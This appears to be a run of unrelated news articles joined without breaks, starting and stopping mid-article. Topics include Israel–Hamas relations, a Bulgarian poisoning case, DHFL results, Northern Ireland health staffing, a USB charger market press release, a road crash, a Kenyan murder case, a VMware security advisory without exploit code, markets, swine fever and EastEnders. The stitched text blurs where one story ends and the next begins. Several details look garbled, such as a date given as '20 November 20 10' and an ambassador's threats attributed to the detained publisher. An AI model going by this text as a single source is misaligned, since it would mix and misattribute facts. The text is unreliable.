who has made a career out of issuing hollow threats against the organization and Gaza, now appears to be in love with Hamas political chief Ismail Haniyeh, while Bennett strolls into the sunset arm-in-arm with Hamas' Gaza chief, Yahya Sinwar. The relief measures Israel has granted Hamas in recent weeks are unprecedented and the most comprehensive since Hamas kicked the Palestinian Authority out of Gaza and took control of the enclave. Even though on Feb. 11 the prime minister promised Hamas the surprise of its life, and on Feb. 18 the defense minister warned of a painful spring ahead for the group, Israel has been relaxing a growing number of significant restrictions it had placed on the organization, signifying what has been clear for months: Sinwar is once again the victor. He has proved that Israel only understands force and that the Netanyahu government does not have a real solution concerning Gaza as long as its strategic interest lies in preserving Hamas' rule and avoiding Palestinian unification at all cost. Of course, this could all change in an instant if an artillery shell or rocket lands in the wrong place at the wrong time. For the moment, however, the honeymoon remains on track, and the odd couple is getting to know each other and becoming really tight. Despite the harsh opposition of Shin Bet, but with the consistent backing of the military, Israel is dramatically increasing the number of Palestinians from Gaza being allowed to work in the country. This is a purely strategic move. Until recently, Israel had objected to the entry of laborers, instead only supplying VIP entry permits to traders and other well-connected Gaza residents. Publicly, Israel continues to insist that only Palestinian merchants are being allowed in, but this is a fraudulent claim. Gaza does not have thousands of traders. Bit by bit, without anyone noticing, we are allowing thousands of Gazans to work in Israel, a senior Israeli security source told Al-Monitor, speaking on the condition of anonymity. We have to understand that there are hundreds of thousands of families in Gaza that have no way of making a living, and when we let 7,000 laborers work in Israel every day, we are putting food in the mouths of some 70,000 hungry people. In addition to issuing work permits, Israel has given its permission to import cement into Gaza without strict monitoring, approved delivery of heavy engineering tools and many other goods, and expanded the fishing zone to 15 nautical miles. Israel has also been buying a considerable amount of fruits and vegetables from Gaza growers in recent months. Generally speaking, the lagging Gaza economy is getting a boost, so Sinwar is able to provide his people with a modicum of hope for the first time due to the determined stand he chose to take. He was undeterred by Israeli threats, refused to blink, and continued to exert military pressure on Israel using various means until it understood that letting go a little was preferable to sinking into the Gaza quagmire. Israel is avoiding a military offensive against Gaza for three cumulative reasons. Netanyahu will not risk a military move before the elections, a senior Likud source told Al-Monitor on the condition of anonymity. We can easily go into Gaza, but it would be very difficult to get out safely. Israel also has a diplomatic-strategic interest in avoiding an offensive. Hamas has turned from being an enemy of Netanyahu into a sort of distant relative, a former senior military official who requested anonymity told Al-Monitor. The prime minister knows that if the Hamas regime is toppled, and the Palestinian Authority (PA) returns to Gaza, pressure will grow on Israel to conduct true negotiations with the Palestinians, and that is the last thing in the world that Netanyahu wants to happen. Israel's northern front also is also providing a deterrent. Netanyahu has managed to convince Bennett that it is far more important to continue battling the Iranian entrenchment in Syria and pushing ahead with the war between the wars, said a senior Israeli security official speaking on the condition of anonymity. It is a matter of proportions. Hamas does not constitute an existential or immediate threat. Iran does. A rumor making the rounds in recent weeks has it that Israel, in a signaling of its intentions, planned to assassinate a Hamas leader in Gaza. Sinwar was among those mentioned as a possible target, and indeed, he appeared to go underground, hardly being seen in public. According to Arabic-language media reports, Israel itself encouraged the rumor, with its veracity being bolstered by aggressive declarations by Bennett. Israel is officially ignoring the rumor, but the move was clearly significant in terms of pushing the two sides into each others arms, for now. Barring unexpected developments in the coming days, Netanyahu will get what he needs most of all: relative calm on the Gaza front until the March 2 elections, without blaring warning sirens and photos similar to those taken during the prime ministers panicked evacuation last year from an election rally in the town of Ashdod. But then what? There is no knowing. Netanyahu is currently most interested in his own personal fate, which is in limbo. If it were up to him, Israel and Hamas would progress from their partial, current arrangement to a long-term full-fledged deal. The problem with the current state of affairs is that it fails to address Israels demand that Hamas return the bodies of two soldiers, Lt. Hadar Goldin and Sgt. Oron Shaul, who were killed in fighting in 2014, and release Israeli civilians (alive or dead) believed to be in Gaza. That is why Israel is not making any mention of a long-term deal or of its contacts with Hamas or publicly acknowledging the series of dramatic concessions and relief it has provided the organization. This is not an arrangement, it is a con job, Lt. Gen. (res.) Gabi Ashkenazi, a former army chief, told Al-Monitor. Currently number four on the leadership roster of the opposition Blue and White, he added, Netanyahu does not want the public to know that he is engaging in moves with Hamas without bringing our boys home. We will not allow that to happen on our watch. On March 3, we will know whether his pledge becomes relevant. SOFIA, Bulgaria - Bulgarian authorities on Friday identified three Russian nationals who have been charged in absentia over the attempted murder, by poison, of the owner of a Bulgarian arms factory and two other people. The three suspects have been identified as Sergei Pavlov, Sergei Fedotov, and Georgy Gorshkov, and are believed to be residents of Moscow, the prosecutors office said in a statement. Last month, prosecutors announced charges against three Russians for the same case but did not identify them. They were accused of having attempted to kill the victims in a way endangering the lives of many using a phosphorus-like substance. In 2015, Emilian Gebrev, his son and a company employee fell ill after the poisoning but survived the attack. The investigation into the Gebrev poisoning was reopened at the end of 2018 because of suspicions that the substance used in Bulgaria was similar to that in the poison attack on Russian ex-spy Sergei Skripal and his daughter, Yulia, in the English city of Salisbury that same year. Bulgarian investigators say they have established that Russian military intelligence officer Sergei Fedotov, who was allegedly involved in the Skripal poisoning, visited Bulgaria on three occasions in 2015. Gebrev has been involved in arms production and trade for several decades. According to media reports, arms produced in his factory have been exported to Ukraine. Insolvent DHFL shows Q3 net profit of Rs934.35 crore Debt-laden housing finance company Dewan Housing Finance Corporation Ltd (DHFL), which is in the insolvency resolution process, has reported a standalone net profit of Rs934.35 crore in the third quarter of fiscal 2020 against a loss of Rs6,705.35 crore in the same quarter of the previous financial year. The mortgage lender, which is under a insolvency resolution process, reported total revenue from operations of Rs2,431.83 crore for fiscal third quarter ended 31 December 2019, while is total expenses stood at Rs2,604.70 crore. Dewan Housing, which is going through the insolvency process under the Insolvency and Bankruptcy Code, has not provided for interest amount of Rs527.62 crore on borrowings since the commencement of insolvency on 3 December 2019as per the opinion of legal advisors. Under the IBC, the treatment of creditors under the resolution plan is as per debts due as on the insolvency commencement date and therefore no interest is accrued and payable after this date. If the interest was accrued on borrowings, the profit for the quarter and nine months would have been lower by Rs392.39 crore, the company said. The company is undergoing substantial financial stress since the second half of the previous financial year. The company has suffered consistent downgrades in its credit ratings since February 2019. On June 5, 2019, the credit rating was reduced to 'default grade'. As a result, the company's ability to raise funds has been substantially impaired and the business has been brought to a standstill with there being minimal/virtually no disbursements, DHFL said in a regulatory filing. The ministry of corporate affairs has initiated an investigation by the Serious Fraud Investigation Office (SFIO) into the affairs of the company. Further, the Enforcement Directorate has also initiated investigation in connection with the loans given by the company to certain borrowers. The company said it is fully co-operating with the investigating agencies. DHFL was admitted for insolvency proceedings on 2 December. The Reserve Bank of India (RBI) on 20 November 20 10, superseded the board of DHFL and appointed Subramaniakumar as its administrator. The Health Minister Robin Swann said the sector would require extra funding of 661m next year. Dr Tom Black from the British Medication Association (BMA) has told politicians that Northern Ireland will need an additional 1,000 consultants by 2033. The health service is coming under increasing pressure and is already struggling to cope with demand. People are living longer with multiple medical conditions, yet health officials have failed to plan and invest in a workforce to cater for the needs of the population. We have seen in the past the issues that arise when there are not enough doctors to fill hospital rotas - clinics are cancelled and services have shut completely. One of the most high-profile casualties of the shortage of senior doctors was the emergency department at Belfast City Hospital. The unit closed its doors in November 2011 and, despite the move being described as temporary at the time, it has never reopened. Read More More recently, patients with potentially life-threatening neurological conditions have endured waits of several years because of a lack of specialists working in Northern Ireland. It is clear that patients are suffering as a result of the growing problem. However, it is also impacting on the medical profession. It is clear that something needs to be done - and quickly before the situation spirals out of control. Northern Ireland trains in the region of 250 doctors a year. A Department of Health-commissioned report released last year said we need to train 400 doctors a year, but that an additional 100 doctor training places should be made available immediately. It takes five years at medical school to become a doctor, it then takes a further five to nine years to qualify as a consultant or surgeon, so the clock to increase training places is ticking. The BMA has said the answer to the problem lies in the creation of a medical school at Ulster University's Magee campus in Londonderry. Not only will a medical school in Derry increase the medical workforce in Northern Ireland, it will encourage more doctors to work in the north west, where the workforce shortage is particularly acute. Unfortunately, the absence of a health minister and Executive has seriously hindered its progress. Since taking up the top post, Robin Swann has said the project is one of his department's priorities. Of course, he has a long list of priorities, including tackling waiting lists, addressing mental health services and resolving the issues facing nursing in Northern Ireland. Every one of his priorities will require significant funding, and the creation of a new medical school is no exception. He has already warned he needs 492m in the upcoming budget just for the health service to stand still. The fact is, however, that if the funding is not found to open a new medical school, patients and staff will suffer. In fact, it isn't too extreme to predict a collapse of the NHS. I asked Dr Black last night if he is optimistic that the funding for the medical school will be found. His response? "It has to and the reason why I'm so confident of that is there is no alternative," he said. So, the case for the medical school has been made - we will wait to see whether the Treasury and Department of Finance listen. Technavio has been monitoring the USB car charger market and it is poised to grow by USD 70.22 billion during 2019-2023, progressing at a CAGR of 1% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200221005017/en/ Technavio has announced its latest market research report titled Global USB Car Charger Market 2019-2023 (Graphic: Business Wire) Technological innovations have been instrumental in driving the growth of the market. Request a free sample report USB Car Charger Market 2019-2023: Segmentation USB Car Charger Market is segmented as below: Product USB 2.0 USB 3.0 Geographic segmentation APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31076 USB Car Charger Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our USB car charger market report covers the following areas: USB Car Charger Market Size USB Car Charger Market Trends USB Car Charger Market Industry Analysis This study identifies increasing dependence on smartphones for applications while driving as one of the prime reasons driving the USB car charger market growth during the next few years. USB Car Charger Market 2019-2023: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the USB car charger market, including some of the vendors such as Amazon.com, Inc., Anker Innovations Limited, Belkin International, Inc., General Wireless Operations Inc. dba RadioShack and Sony Corporation. Backed with competitive intelligence and benchmarking, our research reports on the USB car charger market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform USB Car Charger Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist USB car charger market growth during the next five years Estimation of the USB car charger market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the USB car charger market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of USB car charger market vendors About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005017/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Stuart Ratcliffe, 40 and grandparents Fred Pritchard, 98, and Jean Pritchard, 90, were killed after their car collided head on with a lorry on the A43. (SWNS) A mother has spoken of her pain after both her elderly parents and son were killed in a horror collision earlier this week. Stuart Ratcliffe, 40, was driving his grandparents Fred, 98, and Jean, 90, on the A43 when his red Vauxhall Corsa collided head-on with a Volvo lorry. The accident took place between Sywell and Hannington, Northamptonshire, at around 2pm on Tuesday. Emergency services attended the scene but all three were pronounced dead. Fred Pritchard, aged 98, and his wife Jean, aged 90, from Northampton, were pronounced dead at the scene of the collision on the A43, between Hannington and Sywell. (SWNS) Stuarts mother Diane Bates, the daughter of Fred and Jean, has paid tribute to her parents and son. She said: We are just totally devastated at losing Stuart and my parents, and words cannot describe the loss and sorrow we are feeling. This will leave a massive hole in our hearts for the rest of our lives and we are all going to truly miss Stuart and my parents. Read more from Yahoo News UK: Teen left boy, 16, disabled following attack with 'Walking Dead' baseball bat Father guilty of killing 14-month-old daughter 'shaken in violent temper' Police release CCTV footage of pensioner dragged out of his home during daytime robbery Its not until now, with all the messages we have received, that you realise just how much they were all loved by so many people. Stuart, from Rothwell, Northamptonshire, leaves behind wife Lisa and their two sons, Tristan and Finley. A statement from the family read: "In loving memory of Jean and Fred Pritchard and Stuart Ratcliffe. God bless them and rest in peace. Stuart Ratcliffe, aged 40, from Rothwell, Northamptonshire, leaves behind wife Lisa and their two sons Tristan and Finley. (SWNS) Northamptonshire Police are appealing for witnesses to contact them. Earlier in the week, a police spokesperson said: "Police officers are appealing for witnesses after three people died following a collision on the A43 between Northampton and Kettering. "At about 2pm on Tuesday, February 18, a red Vauxhall Corsa and a white Volvo Tipper lorry were travelling in the opposite direction, when they collided between Sywell and Hannington, near to the Sywell Range. "Following the collision all three occupants of the Vauxhall Corsa two men and a woman - were sadly pronounced dead at the scene." - Judge Kantai was reportedly in close contact with Sarah Wairimu who the chief suspect in husband Tob Cohen's murder - She was charged with murder of her late lover whose decomposing body was found inside a home septic tank - The 54-year-old woman denied any involvement and was freed on a KSh 2 million cash bail in October 2019 Detectives have picked up Court of Appeal Judge Sankale Ole Kantai for allegedly communicating with murder suspect Sarah Wairimu Cohen. Sarah is a chief suspect in the killing of her tycoon husband Tob Cohen whose decomposing body was found in underground septic tank at his Kitusuru home in September 13, 2019. READ ALSO: Peter Mugure: Ex-KDF officer in murder of wife, 2 kids denied bail Underground septic tank body of Tob Cohen was found dumped. Photo: TUKO.co.ke. Source: Original READ ALSO: Familia ya afisa aliyehudumu katika afisi ya Ruto yasema marehemu alikuwa anapanga kufanya harusi Kantai has been taken to the Directorate of Criminal Investigations (DCI) headquarters along Kiambu road for questioning. The 54-year-old woman was accused of killing Cohen between July 19 and 20 jointly with others, an accusation she flatly denied. Sarah Cohen is a chief suspect in murder of her husband. Photo: TUKO.co.ke. Source: Original However, she was freed on a KSh 2 million cash bail in October 2019 after spending more than one month in police custody. In her ruling in October 2019, Justice Stella Mutuku directed the widow not to visit her home or any other property associated with the slain tycoon besides not communicating with her in-laws. Tob Cohen is a former Philips Electronics East Africa CEO. Daily Nation. Source: UGC However, upon challenging the application, the court on Wednesday, July 29, allowed her to visit the expansive estate to pick her clothes and handbags but under detectives' watch. Cohen went missing between July 19 and 20 on the night prosecutors believed he was tortured and killed thereafter before his decomposing body was found inside a water tank at his home. The widow then told police her husband was mentally ill and he needed to seek treatment in Thailand and she suspected he might have travelled on the day of his disappearance. On Thursday, September 12, a Nairobi court ordered a mental health evaluation for the suspect to establish whether or not she was fit to face murder charge. The defence team led by lawyer Philip Murgor strongly opposed the preferred murder charges saying the body of the deceased was non-existent. The tours and travel businessman had lived in Kenya for 32 years. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. Wife from heaven | My Story | Tuko TV. Source: TUKO.co.ke The core business of the Shriram Group is Financial Services. Moreover, in India, the Shriram Group is a clear leader in the truck financing and chit businesses. Shriram Transport Finance Company is the largest Commercial Vehicle Financing NBFC in the country and the Chit Fund Business of the Group is Numero Uno in the industry, across India. The Shriram Group has been pursuing diversification in areas other than financial services. Currently the group has presence in engineering projects, property development, auto ancillaries and software services and is on the lookout to enter other industries, by keeping its options wide option. It has promoted a number of companies engaged in diverse financial services activities such as truck finance, consumer finance, chit business, Life Insurance business, etc Shriram General Insurance Company Limited is a Joint Venture between Shriram Capital Limited (Part of Shriram Group) and Sanlam Limited. In this Joint Venture between the two organizations, Shriram Capital Limited holds 74% Equity and Sanlam Limited holds the balance 26% of Equity. Sanlam is the largest General Insurance Company in South Africa. Sanlam Limited was established in 1918 and thereafter demutualized in 1998. Sanlam is a leading financial services group in South Africa, engaged in diversified businesses viz. general insurance, life insurance, investment, and independent financial services. The market capitalization of Sanlam is approximately USD 6 billion and has over USD 60 billion of assets under its management. Organizations Philosophy The philosophy of Shriram General Insurance Co. Ltd. is to provide prompt, ethical and equitable settlement of claims. Their goal is to respond quickly to the customers needs and to handle his/her claim in a prompt and trouble-free manner. Their dedicated staff of trained professionals understands that undergoing or facing a loss is a stressful situation. The Shriram Group is committed to achieving excellence by their efforts toward superior service, efficiency, teamwork, and communication. At SGI, the approach of "Pay only if we can" is given prime importance. Shriram General Insurance Co. Ltd. (A Joint Venture with Sanlam, South Africa) E-8, EPIP, RIICO Industrial Area, Sitapura, Jaipur 302022. Website: http://www.shriramgi.com Disclaimer: This information is extracted from the companys official website to provide information to the general public. The information is likely to change based on the concerned insurance companies discretion. Alterations, deletions and/or additions to the existing policy products, coverage and their premiums may be enhanced or reduced. These figures are only guidelines. We recommend the individual to visit the official website of the insurance company for more details and updated matters. Read more: Bharti AXA General Insurance Company Ltd - https://www.medindia.net/patients/ insurance/bharti-axa-general-insurance.htm Scientists have recovered DNA from a well-preserved horned lark found in Siberian permafrost. The results can contribute to explaining the evolution of sub species, as well as how the mammoth steppe transformed into tundra, forest and steppe biomes at the end of the last Ice Age. In 2018, a well-preserved frozen bird was found in the ground in the Belaya Gora area of north-eastern Siberia. Researchers at the Centre for Palaeogenetics, a new research center at Stockholm University and the Swedish Museum of Natural History, haves studied the bird and the results are now published in the scientific journal Communications Biology. The analyses reveals that the bird is a 46 000-year-old female horned lark. "Not only can we identify the bird as a horned lark. The genetic analysis also suggests that the bird belonged to a population that was a joint ancestor of two sub species of horned lark living today, one in Siberia, and one in the steppe in Mongolia. This helps us understand how the diversity of sub species evolves," says Nicolas Dussex, researcher at the Department of Zoology at Stockholm University. The result has significance on another level as well. During the last Ice Age, the mammoth steppe spread out over northern Europe and Asia. The steppe was home to now extinct species such as the woolly mammoth and the woolly rhinoceros. According to one theory, this ecosystem was a mosaic of habitats such as steppe, tundra and coniferous forest. At the end of the last Ice Age, the mammoth steppe was divided into the biotopes we know today - tundra in the north, taiga in the middle and steppe in the south. "Our results support this theory since the diversification of the horned lark into these sub species seems to have happened about at the same time as the mammoth steppe disappeared," says Love Dalen, Professor at the Swedish Museum of Natural History and research leader at the Centre for Palaeogenetics. In the slightly longer term the researchers ambition is to map the complete genome of the 46 000-year-old lark and compare it with the genomes from all sub species of horned larks. "The new laboratory facilities and the intellectual environment at the Centre for Palaeogenetics will definitely be helpful in these analyses," says Love Dalen. The researchers at the Centre for Palaeogenetics have access to plenty of samples from similar findings from the same site in Siberia, including the 18 000-year-old puppy called "Dogor" which the researchers are are studying to determine if it is a wolf or a dog. Other findings include the 50 000-year-old cave lion cub "Spartak" and a partially preserved woolly mammoth. ### Read the article in Communications Biology "Biomolecular analyses reveal the age, sex and species identity of a near-intact Pleistocene bird carcass" DOI 10.1038/s42003-020-0806-7 Visit the web site of the Centre for Palaeogenetics: palaeogenetics.com Read more on the research at the new centre: Old genes in new centre https://www.su.se/english/research/research-news/old-genes-in-new-centre-1.484839 Contact Love Dalen, Professor at the Swedish Museum of Natural History and research leader at the Centre for Palaeogenetics, love.dalen@nrm.se, phone: +46 (0)70 777 27 94 Nicolas Dussex, Researcher at the Department of Zoology, Stockholm University, and at the Centre for Palaeogenetics, nicolas.dussex@gmail.com, phone: +46 (0)70 031 70 26 Swedish journalists, publishers and media jointly launched a petition on February 20, calling on China to release imprisoned Swedish writer and publisher Gui Minhai. The International Federation of Journalists (IFJ) supports its affiliate the Swedish Union of Journalists (SJF) in its calls to release Gui Minhai so he can return home. The petition collectively called on Chinas President Xi Jinping to end a campaign of harassment against people who engaged in Gui Minhais case, drawing particular reference to Chinas ambassador in Sweden, Gui Congyou, and outlined that many Swedish journalists, editors, publishers, politicians, organisations, and researchers have since been victims of the embassys harassments. The Swedish-led petition, led by the Swedish Writers Union, the Swedish publishers association and Swedish Pen, was followed by a national media campaign across the countrys leading newspapers and media outlets. See coverage here and here. Gui Minhai, a Swedish citizen and journalist was detained in China by plain clothes officers while travelling from Ningbo in the Zhejiang province to Beijing in January 2018. Gui Minhai was a Hong Kong based publisher and shareholder of Mighty Current media which owned the Causeway Bay bookstore in Hong Kong, known for selling sensitive political books that are considered banned in mainland China and the mysterious disappearance of five of their publishers. Gui Minhai was one of the publishers who went missing in 2015 while on holiday in Thailand. He later re-appeared in China in 2016 after allegedly turning himself over to authorities for an alleged traffic violation in 2003. In October 2017, Gui Minhai was given a non-release release, effectively meaning he is unable to leave China. In November 2019, Swedish PEN awarded Gui Minhai the Tucholsky Prize, recognising his literary work. However, Chinas Swedish ambassador, Gui Conguou responded by threatening Sweden PEN that it would feel the consequences of its decision. Minhai has a history of attacking and threatening Swedish media and journalists. In December 2019 he suggested that Swedens minister of culture would be denied entry into China for planning to hand out the Tucholsky Prize. Last month, Gui Congyou was also quoted as comparing Swedens media to a lightweight boxer who provokes a fued with a heavyweight. The Open Letter to Chinas President Xi Jinping said, Sweden is a democracy, which means that Sweden has a freedom of expression. We defend this freedom by, for example, not allowing foreign diplomats to use insult or threat to silence anyone. Those who have signed this open letter want to help defend the democratic rights of our citizens. The letter went on to issue demands including an end to the threats and insults; that China respect the human rights of Gui Minhai; and allow for his release. The IFJ said: The continued imprisonment of Gui Minhai is a gross violation of his human rights. The IFJ calls on Chinas authorities to release Gui Minhai, a Swedish national, and allow him a safe passage home. VMware has addressed serious vulnerabilities in vRealize Operations for Horizon Adapter, including remote code execution and authentication bypass flaws. VMware vRealize Operations is a software product that provides operations management across physical, virtual and cloud environments, it supports environments based on vSpher e, Hype r-V or Amazon Web Services. Horizon Adapter instances created on VMware vRealize Operations Manager nodes allow users to receive communications from Horizon agents installed on virtual machines. The three vulnerabilities in vRealize Operations for Horizon Adapter (CVE-2020-3943, CVE-2020-3944, CVE-2020-3945) were reported by An Trinh, a cyber security expert from Vietnams telecommunications service provider Viettel. Trinh did not share technical details about the vulnerabilities. The most severe issue, tracked as CVE-2020-3943, is a remote code execution flaw rated as critical that can be exploited by an unauthenticated attacker with network access to vRealize Operations, with the Horizon Adapter running. vRealize Operations for Horizon Adapter contains multiple security vulnerabilities. reads an advisory published by VMware. vRealize Operations for Horizon Adapter uses a JMX RMI service which is not securely configured. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.0. An unauthenticated remote attacker who has network access to vRealize Operations, with the Horizon Adapter running, may be able to execute arbitrary code in vRealize Operations The second flaw, tracked as CVE-2020-3944 and rated high severity, could allow an unauthenticated attacker with access to the network to bypass Adapter authentication. vRealize Operations for Horizon Adapter has an improper trust store configuration leading to authentication bypass. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 8.6. continues the advisory. An unauthenticated remote attacker who has network access to vRealize Operations, with the Horizon Adapter running, may be able to bypass Adapter authentication. The last flaw, tracked as CVE-2020-3945 and rated as moderate severity, is an information disclosure vulnerability caused by incorrect pairing implementation between the vRealize Operations for Horizon Adapter and Horizon View. The flaws affect vRealize Operations for Horizon Adapter 6.6.x and 6.7.x on Windows. VMware released versions 6.6.1 and 6.7.1 to address the flaws. Pierluigi Paganini (SecurityAffairs hacking, IOTA foundation) (Sharecast News) - Stocks on both sides of the Atlantic slumped in the last half hour of trading in Europe following a report in the Chinese press of 36 coronavirus infections among healthcare workers at a Beijing hospital, which triggered concern of a possible outbreak in the country's capital. That followed news of a similar and as of yet unexplained occurrence in South Korea and another report, this time from Al-Jazeera, regarding the possible undercounting of cases in North Korea. After a lower start, stocks had nearly managed to reclaim all their losses before being blindsided by a wave of selling that reportedly left many observers scratching their heads as they searched for an explanation. The news out of Asia came as analysts continued to try and gauge the impact on economic growth, with S&P Global Ratings having warned that under a worst case scenario, the questionable loan ratio of Chinese banks could double. For their part, analysts at Capital Economics projected a near 2.0% quarterly annualised drop in emerging markets GDP in the first quarter of 2020. By the end of trading, the benchmark Stoxx 600 was down by 0.86% at 430.19, alongside a 0.91% dip on the German Dax to 13,664.0, while the FTSE Mibtel gave back 1.56% to 25,080.16. Euro/dollar meanwhile was drifting lower by 0.14% to 1.07947 although front month Brent crude oil futures were still up, rising by 0.32% to $59.51 a barrel on the ICE. On a much more positive note, overnight the World Health Organisation reported a 1.5% drop in the number of new virus cases in China on Thursday to reach 1,872. In company news, shares of A.P. Moller-Maersk A/S fell after the world's largest shipping company said that it will be impacted in 2020 by "considerable uncertainties" due to the outbreak's toll on global trade. Swiss Re was the top faller on the Stoxx 600, with shares of CNP Assurances close behind. Elekta AB was another top faller after the radiation medicine specialist posted a 6% drop in gross order intake to SEK 4,276m in its third quarter as its US business failed to live up to expectations. Air France was 3% lower after announcing that the fallout from the virus would result in a 150-200.0m hit through April. In Spain, Telefonica was walloped as management unveiled a 0.6% dip in full-year reported sales to 48.442bn, although free cash flow jumped by 20.6% to 5.912m, to hit its highest mark since 2013. French insurer Axa was also under the cosh after reporting lower-than-expected profits on the back of restructuring costs. Share this article Whatsapp Facebook Twitter Linkedin Apriadi Gunawan (The Jakarta Post) Serdang Bedagai, North Sumatra Fri, February 21, 2020 15:10 691 7f440ff09e92db75a02bbad2065d33f9 1 National african-swine-fever,outbreak,North-Sumatra,pig Free Agriculture Minister Syahrul Yasin Limpo has assured that the African Swine Fever (ASF) outbreak had only hit and affected pigs in North Sumatra, and that the virus had not spread to any other of the countrys regions. The outbreak only hit North Sumatra and the trend [of pigs dying from the virus] has gradually declined, Syahrul said on Thursday. Following reports of the ASF killing some 46,000 pigs in North Sumatra since last year, Bali followed to confirm that more than 800 pigs on the resort island had been killed by a mysterious disease since December. The Bali Agriculture and Food Security Agency previously confirmed that the pigs had died from the virus but it later backtracked and asserted that it was only a suspicion, saying that the agency would wait for lab test results to confirm the source of the outbreak. Read also: Keep calm, eat pork: Bali official changes tune, saying swine fever not confirmed yet Syahrul said the number of deaths caused by the ASF had decreased significantly because the local administration had implemented biosecurity measures to reduce the risk of virus transmission among pigs. He went on to say that the North Sumatra administration was no longer considering the culling of pigs in the province to halt the virus spread because the government was developing an antidote or vaccine to address the disease. The government is preparing the vaccine for ASF, so there will be no mass culling of pigs but instead biosecurity measures will be strengthened, he said. North Sumatra Governor Edy Rahmayadi said many carcasses have been found on the provinces streets and rivers since September last year, allegedly disposed by pig owners. The virus which is not contagious for humans as it can only be transmitted among pigs has raised the concerns of pig farmers, with many of them demanding that the administration give compensation for their dead hogs. Read also: #SaveBabi: Medan demonstrators protest pig culling amid swine fever outbreak The government cannot give compensation for dead livestock because of the virus, Edy said, adding that it was against the 2009 law on husbandry and animal health. The governor asserted that the provincial administration had been trying to find solutions for the pig farmers who were affected by the outbreak, as he went on to call for locals to stop holding protests on the streets in relation to the outbreak and maintain public order. North Sumatra Police chief Insp. Gen. Martuani Sormin Siregar also concurred with Edy, saying that he hoped the public would stop exaggerating the matter as he suspected there were people using the situation to disrupt public order and security in the province. If there is anyone who is dissatisfied, let's discuss or submit solutions in letters. We want to build a dignified and prosperous society, he said. (hol) EastEnders star June Brown has announced that she has quit the soap after 35 years playing Dot Cotton. The actress, 93, confirmed she no longer wished to play the gossiping laundress, after first arriving on Albert Square in 1985. So to mark the departure of Walford's most beloved chainsmoker, here is a look back at some of her greatest moments. Soap legend: EastEnders star June Brown has announced that she has quit the soap after 35 years playing Dot Cotton, and in that time she has given no shortage of iconic moments Dot's debut in Albert Square (1985) Dot Cotton made her debut in EastEnders just months after the soap first arrived on screens in the mid 1980s. She arrived on the Square as the mother of criminal gangster 'Nasty Nick' Cotton and the close friend of Ethel Skinner. Dot quickly made an impact on the soap as the resident gossip who is never without a cigarette in her hand, and becomes known for her signature hairstyle, launderette's uniform and the signature catchphrase 'oh I say!' Her early months on the Square were plagued with woes thanks to her criminal husband Charlie - who is killed in a lorry accident - and Nick - who even tries to poison his beloved mum. Despite Nick's criminal antics, Dot seemed to constantly defend her son, even vowing that he could change. Legendary: She made her debut on Albert Square in 1985, and from the beginning she had no shortage of woes thanks to the criminal antics of her husband Charlie and son Nick Dot leaves Albert Square (1993) Dot made a temporary exit from Walford in the early 1990s when she learned that Nick Cotton had fathered son Ashley with his girlfriend Zoe Newton, and she grew close to the young schoolboy. The soap veteran made the surprise decision to depart Walford for a new life in Gravesend with her son and grandson but she returned four years later after Nick was arrested for drugs possession. Sadly Ashley was tragically killed off in 2001 after his motorbike crashed into the launderette after Nick tampered with the brakes. The death left Dot and her son even more estranged, especially after she learned that Nick was responsible for Ashley's death. Dramatic: In a rare comedic moment, Dot accidentally drank a suspicious herbal tea that was laced with cannabis Dot accidentally takes cannabis (1997) Despite some dark moments, Dot is also known for some comedic moments, and one of her finest came after she temporarily moved in with OAP Lilly Mattock. Drinking some suspicious herbal tea, Dot put on an extremely giddy display as it was revealed that the so-called 'alternative remedy' was laced with cannabis. The hilarious scenes saw a wide-eyed Dot offer some of the 'herbs' to her guests in front of a policeman, before abruptly refusing to throw the drugs away. Touching: In 2000 Dot's lifelong Christian faith was put to the test when her close friend Ethel Skinner asked her to help end her life Dot helps her closest friend Ethel Skinner Die (2000) Amongst other traits, Dot is also well-known for her no-nonsense Christianity, which has sparked a debate on several occasion. Her faith was put to the test in 2000 when cancer-stricken friend Ethel asked her to help her die before the illness prevents her from moving or speaking. In emotional scenes, Dot refused to help Ethel with her dying wish as they celebrated her 85th birthday, but after struggling to see her friend in so much pain, she agreed. After helping Ethel to blow out her candles, Dot assisted her friend with taking a fatal overdose of pills, and she later died peacefully in her sleep. Mr and Mrs: In a rare moment of happiness for Dot, she tied the knot with Jim Branning in 2002 after his hilarious proposal at the top of the London Eye Dot Marries Jim Branning (2002) In happier scenes, Dot finally found happiness with Jim years after the death of her husband Charlie, but the soap battleaxe still proved tough to win over. Jim pursued Dot for months before finally stealing a kiss in the Queen Vic, and when he proposed to her, she fled the Square. Eventually Jim got down on one knee and yet again asked Dot to marry him as they rode the London Eye on Christmas Eve, and in a now-iconic moment, she nonchalantly replied: 'Yeah I will.' The couple then tied the knot in a simple church ceremony with the entire Square in attendance, but on their wedding night agreed that they would keep their marriage platonic. Their marriage was one for the soap ages until Jim suffered a stroke in 2008, and his character was eventually written out of the soap in 2011 under the ruse that he would be taken to a 